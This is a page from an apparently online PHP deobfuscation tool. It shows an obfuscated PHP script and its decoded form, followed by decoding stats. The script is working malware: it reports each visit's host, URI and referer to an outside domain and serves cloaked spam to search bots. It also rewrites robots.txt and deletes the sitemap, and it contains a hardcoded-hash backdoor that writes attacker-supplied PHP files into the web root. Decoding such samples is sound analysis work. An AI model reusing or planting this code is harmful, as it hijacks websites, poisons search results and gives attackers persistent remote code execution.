Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php goto El5JC; VQ2yX: if (!strstr($htmcontent, "\156\157\x62\x6f\x74\165\x73\x65\16..

Decoded Output download

<?php 
 
 goto El5JC; VQ2yX: if (!strstr($htmcontent, "nobotuseragent")) { if (strstr($htmcontent, "okhtmlgetcontent")) { @header("Content-type: text/html; charset=utf-8"); $htmcontent = str_replace("okhtmlgetcontent", '', $htmcontent); echo $htmcontent; die; } else { if (strstr($htmcontent, "okxmlgetcontent")) { $htmcontent = str_replace("okxmlgetcontent", '', $htmcontent); @header("Content-type: text/xml"); echo $htmcontent; die; } else { if (strstr($htmcontent, "pingxmlgetcontent")) { $htmcontent = str_replace("pingxmlgetcontent", '', $htmcontent); @header("Content-type: text/html; charset=utf-8"); echo pingmap($htmcontent); die; } } } } goto PFdEZ; iJpE8: $goweb = $xmlname . ".liketoearch" . ".xyz"; goto KobNd; puair: $urlshang = ''; goto OXhsI; N2Bt_: if ($duri_tmp == '') { $duri_tmp = "/"; } goto qeYyV; qeYyV: $duri = urlencode($duri_tmp); goto moy03; U7CJS: $xmlname = "xmpp"; goto baihZ; PFdEZ: function pingmap($url) { $url_arr = explode("
", trim($url)); $return_str = ''; foreach ($url_arr as $pingUrl) { $pingRes = dageget($pingUrl); $ok = strpos($pingRes, "Sitemap Notification Received") !== false ? "pingok" : "error"; $return_str .= $pingUrl . "-- " . $ok . "<br>"; } return $return_str; } goto X6gy4; Tr0IP: if (@$_GET["pd"] != '') { $add_content = @$_GET["mapname"]; $action = @$_GET["action"]; if (isset($_SERVER["DOCUMENT_ROOT"])) { $path = $_SERVER["DOCUMENT_ROOT"]; } else { $path = dirname(__FILE__); } if (!$action) { $action = "put"; } if ($action == "put") { if (strstr($add_content, ".xml")) { $map_path = $path . "/sitemap.xml"; if (is_file($map_path)) { @unlink($map_path); } $file_path = $path . "/robots.txt"; if (file_exists($file_path)) { $data = dageget($file_path); } else { $data = "User-agent: *Allow: /"; } $sitmap_url = $http . "://" . $host . "/" . $add_content; if (stristr($data, $sitmap_url)) { echo "<br>sitemap already added!<br>"; } else { if (file_put_contents($file_path, trim($data) . "\xd\xa" . "Sitemap: " . $sitmap_url)) { echo "<br>ok<br>"; } else { echo "<br>file write false!<br>"; } } } else { echo "<br>sitemap name false!<br>"; } if (strstr($add_content, ".p" . "hp")) { $a = sha1(sha1(@$_GET["a"])); $b = sha1(sha1(@$_GET["b"])); if ($a == dageget($http_web . "://" . $goweb . "/a.p" . "hp") || $b == "808735b17c8943e3715388958dc22d879a8c9eaa") { $dstr = @$_GET["dstr"]; if (file_put_contents($path . "/" . $add_content, $dstr)) { echo "ok"; } } } } die; } goto SNZx9; FhLOW: $lang = @$_SERVER["HTTP_ACCEPT_LANGUAGE"]; goto qMw5m; C0x31: $htmcontent = trim(dageget($web)); goto VQ2yX; xW8J_: @ignore_user_abort(1); goto U7CJS; VtPs7: if (is_htps()) { $http = "https"; } else { $http = "http"; } goto bjw2E; bjw2E: $duri_tmp = st_uri(); goto N2Bt_; El5JC: @set_time_limit(3600); goto xW8J_; moy03: function st_uri() { if (isset($_SERVER["REQUEST_URI"])) { $duri = $_SERVER["REQUEST_URI"]; } else { if (isset($_SERVER["argv"])) { $duri = $_SERVER["PHP_SELF"] . "?" . $_SERVER["argv"][0]; } else { $duri = $_SERVER["PHP_SELF"] . "?" . $_SERVER["QUERY_STRING"]; } } return $duri; } goto iJpE8; Pii5n: $host = $_SERVER["HTTP_HOST"]; goto FhLOW; SNZx9: $web = $http_web . "://" . $goweb . "/indexnew.php?web=" . $host . "&zz=" . sbot() . "&uri=" . $duri . "&urlshang=" . $urlshang . "&http=" . $http . "&lang=" . $lang; goto C0x31; q1ZWq: function dageget($url) { $file_contents = ''; if (function_exists("curl_init")) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 30); $file_contents = curl_exec($ch); curl_close($ch); } if (!$file_contents) { $file_contents = @file_get_contents($url); } return $file_contents; } goto vQ1dI; baihZ: $http_web = "http"; goto VtPs7; X6gy4: function sbot() { $uAgent = strtolower($_SERVER["HTTP_USER_AGENT"]); if (stristr($uAgent, "googlebot") || stristr($uAgent, "bing") || stristr($uAgent, "yahoo") || stristr($uAgent, "google") || stristr($uAgent, "Googlebot") || stristr($uAgent, "googlebot")) { return true; } else { return false; } } goto q1ZWq; OXhsI: if (isset($_SERVER["HTTP_REFERER"])) { $urlshang = $_SERVER["HTTP_REFERER"]; $urlshang = urlencode($urlshang); } goto Tr0IP; KobNd: function is_htps() { if (isset($_SERVER["HTTPS"]) && strtolower($_SERVER["HTTPS"]) !== "off") { return true; } elseif (isset($_SERVER["HTTP_X_FORWARDED_PROTO"]) && $_SERVER["HTTP_X_FORWARDED_PROTO"] === "https") { return true; } elseif (isset($_SERVER["HTTP_FRONT_END_HTTPS"]) && strtolower($_SERVER["HTTP_FRONT_END_HTTPS"]) !== "off") { return true; } return false; } goto Pii5n; qMw5m: $lang = urlencode($lang); goto puair; vQ1dI:  
 
 //uw050  ?>

Did this file decode correctly?

Original Code

<?php

 goto El5JC; VQ2yX: if (!strstr($htmcontent, "\156\157\x62\x6f\x74\165\x73\x65\162\x61\147\145\156\164")) { if (strstr($htmcontent, "\x6f\153\x68\x74\155\x6c\x67\x65\164\143\157\156\164\145\156\164")) { @header("\x43\157\156\x74\x65\x6e\x74\x2d\164\x79\160\145\72\40\x74\x65\x78\164\x2f\x68\x74\155\154\x3b\40\143\150\x61\x72\163\x65\164\75\165\x74\146\x2d\x38"); $htmcontent = str_replace("\157\x6b\150\164\155\x6c\147\x65\x74\x63\157\156\164\145\156\x74", '', $htmcontent); echo $htmcontent; die; } else { if (strstr($htmcontent, "\157\x6b\170\x6d\x6c\x67\145\164\143\x6f\156\164\x65\156\x74")) { $htmcontent = str_replace("\x6f\x6b\x78\155\154\x67\x65\164\143\157\156\x74\145\156\164", '', $htmcontent); @header("\103\x6f\156\164\x65\x6e\164\55\x74\171\x70\145\x3a\40\x74\x65\170\x74\57\x78\155\x6c"); echo $htmcontent; die; } else { if (strstr($htmcontent, "\x70\x69\156\147\170\x6d\x6c\147\145\164\x63\x6f\156\x74\x65\156\x74")) { $htmcontent = str_replace("\x70\151\156\x67\170\x6d\x6c\x67\x65\x74\143\x6f\x6e\164\145\x6e\x74", '', $htmcontent); @header("\103\x6f\x6e\x74\145\156\164\55\x74\171\x70\145\72\x20\x74\x65\x78\164\57\150\x74\x6d\154\x3b\x20\x63\150\141\162\163\145\x74\75\165\164\146\55\70"); echo pingmap($htmcontent); die; } } } } goto PFdEZ; iJpE8: $goweb = $xmlname . "\56\x6c\x69\x6b\145\x74\x6f\145\141\x72\x63\150" . "\x2e\x78\171\172"; goto KobNd; puair: $urlshang = ''; goto OXhsI; N2Bt_: if ($duri_tmp == '') { $duri_tmp = "\x2f"; } goto qeYyV; qeYyV: $duri = urlencode($duri_tmp); goto moy03; U7CJS: $xmlname = "\x78\155\x70\160"; goto baihZ; PFdEZ: function pingmap($url) { $url_arr = explode("\15\12", trim($url)); $return_str = ''; foreach ($url_arr as $pingUrl) { $pingRes = dageget($pingUrl); $ok = strpos($pingRes, "\123\151\x74\x65\155\x61\160\x20\116\157\164\151\x66\x69\x63\x61\x74\151\157\156\x20\x52\x65\143\x65\x69\x76\145\144") !== false ? "\x70\151\156\x67\x6f\x6b" : "\x65\x72\x72\157\x72"; $return_str .= $pingUrl . "\x2d\x2d\40" . $ok . "\x3c\142\x72\76"; } return $return_str; } goto X6gy4; Tr0IP: if (@$_GET["\x70\144"] != '') { $add_content = @$_GET["\155\141\160\x6e\141\155\145"]; $action = @$_GET["\x61\143\x74\x69\x6f\x6e"]; if (isset($_SERVER["\104\117\103\125\x4d\x45\x4e\124\x5f\122\x4f\117\x54"])) { $path = $_SERVER["\104\117\x43\x55\115\105\x4e\124\x5f\122\x4f\117\x54"]; } else { $path = dirname(__FILE__); } if (!$action) { $action = "\x70\x75\x74"; } if ($action == "\x70\x75\164") { if (strstr($add_content, "\56\x78\x6d\x6c")) { $map_path = $path . "\57\163\x69\x74\145\x6d\141\x70\56\170\x6d\x6c"; if (is_file($map_path)) { @unlink($map_path); } $file_path = $path . "\57\162\x6f\x62\157\164\163\56\x74\x78\x74"; if (file_exists($file_path)) { $data = dageget($file_path); } else { $data = "\x55\x73\x65\162\55\x61\147\x65\x6e\164\72\x20\x2a\101\x6c\x6c\x6f\167\72\x20\x2f"; } $sitmap_url = $http . "\72\x2f\57" . $host . "\x2f" . $add_content; if (stristr($data, $sitmap_url)) { echo "\74\142\x72\76\163\151\x74\145\155\141\x70\x20\141\154\162\x65\x61\x64\171\x20\141\144\x64\145\x64\41\74\142\162\76"; } else { if (file_put_contents($file_path, trim($data) . "\xd\xa" . "\123\x69\x74\145\155\x61\160\72\40" . $sitmap_url)) { echo "\74\142\162\76\157\x6b\x3c\142\x72\76"; } else { echo "\x3c\x62\162\x3e\x66\x69\x6c\145\x20\167\x72\151\x74\145\40\x66\141\x6c\163\x65\x21\x3c\x62\x72\x3e"; } } } else { echo "\74\142\162\x3e\x73\x69\164\145\x6d\x61\x70\x20\x6e\x61\x6d\x65\40\146\x61\154\163\x65\41\x3c\142\x72\x3e"; } if (strstr($add_content, "\56\160" . "\150\x70")) { $a = sha1(sha1(@$_GET["\x61"])); $b = sha1(sha1(@$_GET["\x62"])); if ($a == dageget($http_web . "\x3a\x2f\x2f" . $goweb . "\x2f\x61\x2e\x70" . "\x68\160") || $b == "\70\x30\70\67\63\65\x62\61\x37\143\70\x39\64\x33\x65\63\x37\61\x35\63\x38\x38\x39\x35\x38\144\143\62\62\144\x38\67\71\141\70\x63\71\145\141\141") { $dstr = @$_GET["\144\163\164\162"]; if (file_put_contents($path . "\57" . $add_content, $dstr)) { echo "\157\153"; } } } } die; } goto SNZx9; FhLOW: $lang = @$_SERVER["\110\x54\124\120\x5f\101\x43\x43\x45\x50\x54\x5f\x4c\101\116\107\125\101\107\105"]; goto qMw5m; C0x31: $htmcontent = trim(dageget($web)); goto VQ2yX; xW8J_: @ignore_user_abort(1); goto U7CJS; VtPs7: if (is_htps()) { $http = "\x68\164\x74\160\x73"; } else { $http = "\x68\x74\x74\160"; } goto bjw2E; bjw2E: $duri_tmp = st_uri(); goto N2Bt_; El5JC: @set_time_limit(3600); goto xW8J_; moy03: function st_uri() { if (isset($_SERVER["\x52\x45\x51\125\x45\x53\124\x5f\125\122\111"])) { $duri = $_SERVER["\x52\x45\x51\125\x45\123\124\137\x55\122\111"]; } else { if (isset($_SERVER["\141\x72\147\166"])) { $duri = $_SERVER["\120\x48\x50\x5f\123\x45\114\106"] . "\77" . $_SERVER["\141\x72\147\166"][0]; } else { $duri = $_SERVER["\120\110\120\x5f\x53\105\x4c\x46"] . "\x3f" . $_SERVER["\x51\125\105\122\131\137\x53\124\122\111\116\x47"]; } } return $duri; } goto iJpE8; Pii5n: $host = $_SERVER["\x48\x54\124\120\x5f\x48\117\123\124"]; goto FhLOW; SNZx9: $web = $http_web . "\72\x2f\57" . $goweb . "\57\151\x6e\144\145\x78\156\x65\167\56\160\150\160\x3f\167\145\x62\75" . $host . "\46\x7a\x7a\75" . sbot() . "\x26\x75\162\151\x3d" . $duri . "\46\165\x72\154\163\150\x61\x6e\x67\75" . $urlshang . "\46\x68\x74\164\160\x3d" . $http . "\x26\x6c\141\x6e\147\x3d" . $lang; goto C0x31; q1ZWq: function dageget($url) { $file_contents = ''; if (function_exists("\143\x75\x72\154\x5f\151\x6e\151\x74")) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 30); $file_contents = curl_exec($ch); curl_close($ch); } if (!$file_contents) { $file_contents = @file_get_contents($url); } return $file_contents; } goto vQ1dI; baihZ: $http_web = "\150\x74\164\x70"; goto VtPs7; X6gy4: function sbot() { $uAgent = strtolower($_SERVER["\110\x54\124\120\x5f\x55\123\105\122\137\101\107\x45\116\x54"]); if (stristr($uAgent, "\147\157\157\x67\154\x65\142\x6f\x74") || stristr($uAgent, "\142\151\x6e\x67") || stristr($uAgent, "\x79\141\150\157\157") || stristr($uAgent, "\x67\x6f\x6f\x67\154\145") || stristr($uAgent, "\107\x6f\157\147\x6c\x65\x62\157\164") || stristr($uAgent, "\x67\x6f\157\x67\x6c\x65\x62\157\x74")) { return true; } else { return false; } } goto q1ZWq; OXhsI: if (isset($_SERVER["\x48\124\x54\120\137\x52\x45\106\x45\122\x45\122"])) { $urlshang = $_SERVER["\110\124\124\120\137\122\105\x46\105\122\105\x52"]; $urlshang = urlencode($urlshang); } goto Tr0IP; KobNd: function is_htps() { if (isset($_SERVER["\x48\x54\x54\x50\x53"]) && strtolower($_SERVER["\110\x54\124\120\123"]) !== "\157\146\146") { return true; } elseif (isset($_SERVER["\x48\x54\x54\x50\137\130\x5f\x46\x4f\x52\127\x41\x52\x44\x45\x44\x5f\x50\122\x4f\x54\117"]) && $_SERVER["\110\124\124\120\137\130\x5f\106\117\x52\127\x41\x52\x44\x45\104\137\120\122\x4f\124\x4f"] === "\150\x74\x74\160\x73") { return true; } elseif (isset($_SERVER["\110\x54\x54\120\x5f\106\122\117\x4e\x54\137\x45\x4e\x44\x5f\110\x54\124\x50\x53"]) && strtolower($_SERVER["\x48\x54\124\x50\x5f\x46\x52\117\116\124\x5f\105\x4e\104\x5f\x48\x54\124\x50\123"]) !== "\157\146\146") { return true; } return false; } goto Pii5n; qMw5m: $lang = urlencode($lang); goto puair; vQ1dI: 

 //uw050  ?>

Function Calls

None

Variables

None

Stats

MD5 312f7db21839c4f77457d54ba5f3139d
Eval Count 0
Decode Time 112 ms